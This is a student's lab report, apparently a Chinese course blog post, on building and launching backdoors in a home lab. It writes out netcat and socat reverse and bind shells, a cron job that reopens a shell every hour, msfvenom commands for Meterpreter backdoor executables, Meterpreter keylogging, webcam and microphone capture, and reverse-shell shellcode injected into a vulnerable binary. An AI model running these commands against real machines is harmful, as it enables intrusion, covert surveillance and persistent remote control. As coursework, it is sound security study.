zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175217 Exp2 后门原理与实践

    ##一、实验目标

    • 清楚后门概念
    • 会用nc获取远程主机的Shell
    • 会用meterpreter
    • 会启动后门

    ##二、实验内容

    • 使用netcat获取主机操作Shell,cron启动

    • 使用socat获取主机操作Shell, 任务计划启动

    • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    ##三、基础问题回答

    例举你能想到的一个后门进入到你系统中的可能方式?

    • 当捡到一个U盘时,会尝试着插入自己的电脑,当U盘插入后后门可能进入系统
    • 当下载一个软件时,后门可能同时被安装在你的系统中了
    • 当你在网页上点击一个按钮时,后门可能会被安装在你的电脑里

    例举你知道的后门如何启动起来(win及linux)的方式?

    • 在开机的时候自启动(Windows注册表)
    • 被设置了定时启动(Linux的crontab)
    • 作为服务启动
    • 被其他主机控制,从而启动

    Meterpreter有哪些给你映像深刻的功能?

    • 除了本次实验中完成的获取被控主机的录音、录像、截图、键盘输入记录等功能,还有从被控主机上对相关的文件进行下载和上传,远程操控目标机上的程序运行等功能。

    如何发现自己有系统有没有被安装后门?

    • 检查注册表中是否有异常的自启动项
    • 通过杀毒软件对系统进行检测
    • 通过nestat -na查看是否有异常开放的端口
    • 检查系统日志是否存在异常

    ##四、基本工具熟悉 ###1.NC 或 netcat

    • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    ####(1)Win获得Linux Shell

    • windows 打开监听E: c cat>ncat.exe -l -p 5217
    • Linux反弹连接nc 192.168.43.98 5217 -e /bin/sh
    • windows下获得一个linux shell,可运行任何指令,如lspwd...

    ####(2)Linux获得Win Shell

    • Linux运行监听指令nc -l -p 5217
    • Windows反弹连接Linuxncat.exe -e cmd.exe 192.168.189.136 5217
    • Linux下看到Windows的命令提示

    ####(3)nc传输数据

    • Windows中通过ncat.exe -l 5217 > file1.out监听5217端口,将收到的内容存储在file1.out
    • kali反弹链接Windows的5217端口,nc 192.168.43.98 5217
    • 通过type file1.out在Windows中查看接收到的内容
    • 通过cat file1.in在kali中查看发送的内容

    ###2.Socat

    • 又称Netcat++,超级netcat工具,是nc的加强版
    • 任何代理、转发等功能都可以用该工具实现
    • 使用方法与nc类似

    ###3.Meterpreter(使用msfvenom生成后门可执行文件) ####(1)Linux使用MSF生成后门可执行文件,并移动到win

    • Linux通过指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.98 LPORT=5217 -f exe > backdoor.exe生成后门可执行文件,然后移动到Win

    • 参数说明
      • -p:使用的连接(playload)。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
      • -f:生成文件的类型
      • LHOST:反弹回连的IP
      • LPORT:回连的端口
      • >: 输出到哪个文件

    ####(2)Linux使用MSF打开监听进程

    • 在Linux中输入msfvenom进入MSF
    • 輸入use exploit/multi/handler进入handler
    • 输入set payload windows/meterpreter/reverse_tcp设置连接(playload)
    • 输入show options查看设置是否正确
    • 输入set LHOST 192.168.189.136设置ip地址(Linux地址)
    • 输入set LPORT 5217设置端口号
    • 输入show options再次查看设置是否正确
    • 输入exploit打开监听

    • 说明:
      • LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.189.136;
      • LPORT也需要和上一步生成backdoor.exe的一致,即5217;
      • payload也要一致,即windows/meterpreter/reverse_tcp。

    ####(3)在Win平台双击运行backdoor.exe

    • Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell:

    ###4.cron

    • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以man cron

    ####(1)增加一条定时任务

    • 使用crontab -e指令-e表示编辑,根据提示选择3

    • 在最后一行添加17 * * * * /bin/netcat 192.168.43.98 5217 -e /bin/sh意思是,每个小时的第17分钟反向连接Windows主机的5217端口(从左至右参数一次为:分,小时,日,月,年)

    • 保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。

    • 每个小时到了17分,上面的那条指令就会执行。

    • 在win主机192.168.43.98让nc侦听在5217端口,那到了17分就会有获得一个shell。

    ##四、实验任务

    ###任务一:使用netcat获取主机操作Shell,cron启动

    ####1.思路

    • 在windows里监听
    • 在Linux里利用corn设置定时启动反弹指令

    ####2.步骤

    • 在Win主机监听5217端口

    • 在Kali中,用crontab -e指令编辑一条定时任务

    • 在每个小时的17分,kali自动执行定时任务,此时win就获得了Kali的shell,可以输入指令

    ###任务二:使用socat获取主机操作Shell, 任务计划启动 ####1.思路

    • 在Windows中创建socat连接任务
    • 在Linux中利用socat连接被控主机(Windows),即可获取shell

    ####2.步骤

    • 在“计算机管理”中的“任务计划程序”点击“创建任务”

    • 填写任务名称,并新建一个触发器

    • 点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5217 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5217 ,同时把cmd.exe的stderr重定向到stdout上;

    • 创建完成后可以看到任务的状态为准备就绪

    • 此时,在Kali中输入指令socat - tcp:192.168.43.98:5217,即可发现已经成功获得了一个cmd shell

    ###任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell ####1.思路

    • 在Linux中使用MSF生成后门可执行文件
    • 将该文件通过nc传到被控主机(Windows)
    • 在Linux上使用MSF打开监听
    • 在Windows上运行后门程序
    • Linux成功获取shell

    ####2.步骤

    • Linux通过指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.98 LPORT=5217 -f exe > backdoor.exe生成后门可执行文件

    • 通过ncat.exe -lv 5217 > backdoor.exe指令将被控制主机进入接受文件模式

    • 在kali中执行nc 192.168.43.98 5217 < backdoor.exe,注意这里的IP为被控主机(win)的IP

    • 传送接收文件成功

    • 在kali上使用MSF打开监听(具体方法见第三部分)

    • 在Windows下运行后门程序backdoor.exe,运行前应提前关闭杀毒软件的防护

    • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

    ###任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容 ####1.思路

    • 通过MSF meterpreter的一系列指令实现功能

    ####2.步骤

    • 使用record_mi指令截获一段音频

    • 使用webcam_snap指令使用摄像头进行拍照

    • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

    • 使用screenshot指令进行截屏

    ###任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    • 参考了组长的博客,提供了两种方法,个人认为方法一好像不太符合要求,方法二更合理一点,但考虑到都能实现功能,就都做了

    ####1.方法一思路

    • 本机使用MSF生成与实验一的pwn1可执行文件绑定的后门可执行文件,并传输到被攻击的机器
    • 本机打开MSF监听
    • 被攻击主机运行后门可执行文件
    • 获取shell成功

    ####2.方法一步骤

    • 使用MSF,输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1.bak LHOST=192.168.43. LPORT=5209 -f elf > pwn1_exp2 生成与pwn1```绑定的后门程序
    • (并使用nc等传输到受控主机)

    • 使用MSF打开监听

    • 在受控主机运行后门程序

    • 控制成功,成功获得shell

    ####3.方法二思路

    • 从网站下载反弹连接shellcode
    • 分析得到用于注入的shellcode文件
    • 在本机打开MSF监听
    • 在被控主机运行注入shellcode的pwn1文件

    ####4.方法二步骤

    • 网站下载代码后,结合实验一的返回地址,得到用于注入的input_shellcode
    perl -e 'print "A" x 32;print"xb0xd1xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    

    • 使用MSF打开监听,(并将后门程序通过nc等方式传输到被控主机)

    • 在另一终端(被控主机)运行注入shellcode后的pwn3

    • 控制成功,成功获得shell

    ##五、遇到的问题和解决

    问题一:

    • kali卡死后强制退出,之后就进不去了

    解决一:

    • 首先,按照百度上的提示,将权限改为管理员

    • 然后,它换了一种报错方式

    • 接着,打开任务管理器将与wm相关的进程全部杀死后,重启主机,就好了~

    问题二:

    • kali突然连不上网了

    解决二:

    • 通过ifconfig -a发现eth0停止工作了

    • 通过修改etc/network/interfaces,添加后两行
    auto eth0
    iface eth0 inet dhcp
    
    • 最后,在终端里输入/etc/init.d/networking restart重置网络,就OK了~

    问题三:

    • 使用MSF监听时,发现一直连不上

    解决三:

    • 发现是地址输的有问题,这里输入的应该是本机地址

    ##六、实验心得体会        本次实验做的是后门,这次原理理解方面没有上次那么晦涩难懂,主要就是软件使用方面比较麻烦,特比较容易出问题,稍有不注意自己的思路就会乱掉。        这次实验我同样是参考老师的实验指导和组长的博客完成的,但与上次不同的是,这次出现的问题我都是自己先尽力自己解决,再去问同学,这样虽然做的慢了些,但对知识的理解更加深入,软件的使用更加熟练。        这次实验虽然使我对后门有了一定的理解,但是一些比较深的理论方面的东西还是理解的不是很到位,还是有一些问题的吧,之后我会继续努力的。

    ##七、参考链接

  • 相关阅读:
    常用变量的获取
    批出里中常用参数的含义
    利用批处理命令复制指定文件到指定目录下
    跟后台打印程序系统服务通讯时出现错误。请打开服务管理单元,确认后台打印程序服务是否在运行。
    系统日志报错i8042prt无法加载
    删除指定路径下指定天数之前(以文件名中包含的日期字符串为准)的文件:字符串截取
    删除指定路径下指定天数之前(以文件的最后修改日期为准)的文件:BAT + VBS
    Linux学习笔记
    Docker
    Python学习笔记
  • 原文地址:https://www.cnblogs.com/wyf20175217/p/12483897.html
Copyright © 2011-2022 走看看